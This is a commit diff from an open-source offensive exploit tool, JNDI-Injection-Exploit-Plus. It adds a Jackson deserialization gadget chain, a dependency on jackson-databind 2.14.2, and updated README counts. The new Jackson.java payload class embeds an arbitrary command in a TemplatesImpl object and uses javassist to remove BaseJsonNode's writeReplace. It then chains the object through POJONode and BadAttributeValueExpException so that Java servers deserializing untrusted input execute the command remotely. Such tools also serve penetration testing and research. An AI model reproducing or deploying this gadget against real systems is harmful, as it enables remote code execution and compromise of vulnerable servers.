add jackson

Author: cckuailong

README.md

@@ -35,7 +35,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
 Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
 Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
 
-#### 3. Deserailization Gadget (total: 73)
+#### 3. Deserailization Gadget (total: 74)
 
 P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
 
@@ -78,6 +78,7 @@ FileUpload1         |@mbechler                   |commons-fileupload:1.3.1, comm
 Groovy1             |@frohoff                    |groovy:2.3.9
 Hibernate1          |@mbechler|
 Hibernate2          |@mbechler|
+Jackson :arrow_up:  |@y4er                       |com.fasterxml.jackson.core:jackson-databind:2.14.2
 JBossInterceptors1  |@matthias_kaiser            |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
 Jdk7u21             |@frohoff|
 JRMPClient1         |@mbechler|

README_zh.md

@@ -12,7 +12,7 @@ JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目
 
 - 远程Reference链 （3种）
 - 本地Reference链 （4种）
-- 反序列化链（73种）
+- 反序列化链（74种）
 
 P.S. 具体利用链名称及依赖见 [表格](./README.md)
 

pom.xml

@@ -6,7 +6,7 @@
 
     <groupId>cckuailong</groupId>
     <artifactId>JNDI-Injection-Exploit-Plus</artifactId>
-    <version>2.1-SNAPSHOT</version>
+    <version>2.2-SNAPSHOT</version>
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -152,6 +152,12 @@
             <version>4.0</version>
         </dependency>
 
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-databind</artifactId>
+            <version>2.14.2</version>
+        </dependency>
+
         <dependency>
             <groupId>org.aspectj</groupId>
             <artifactId>aspectjweaver</artifactId>

src/main/java/payloads/Jackson.java

@@ -0,0 +1,48 @@
+package payloads;
+import com.fasterxml.jackson.databind.node.POJONode;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import payloads.annotation.Authors;
+import payloads.annotation.Dependencies;
+import util.Gadgets;
+import util.PayloadRunner;
+import util.Reflections;
+
+import javax.management.BadAttributeValueExpException;
+import java.util.HashMap;
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"com.fasterxml.jackson.core:jackson-databind:2.14.2"})
+@Authors({Authors.Y4ER})
+public class Jackson implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+        final Object template = Gadgets.createTemplatesImpl(command);
+
+        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
+        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
+        ctClass.removeMethod(writeReplace);
+        // 将修改后的CtClass加载至当前线程的上下文类加载器中
+        ctClass.toClass();
+
+        POJONode node = new POJONode(template);
+
+        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
+        Reflections.setFieldValue(badAttributeValueExpException, "val", node);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(template, badAttributeValueExpException);
+
+        return hashMap;
+    }
+
+
+    public static byte[] getBytes(final String command) throws Exception {
+        return PayloadRunner.run(Jackson.class, command);
+    }
+
+    public static void main(final String command) throws Exception {
+        PayloadRunner.run(Jackson.class, command);
+    }
+}

src/main/java/payloads/annotation/Authors.java

@@ -29,6 +29,7 @@
     String FIREBASKY = "Firebasky";
     String CCKUAILONG = "cckuailong";
     String YULEGEYU = "yulegeyu";
+    String Y4ER = "y4er";
 
     String[] value() default {};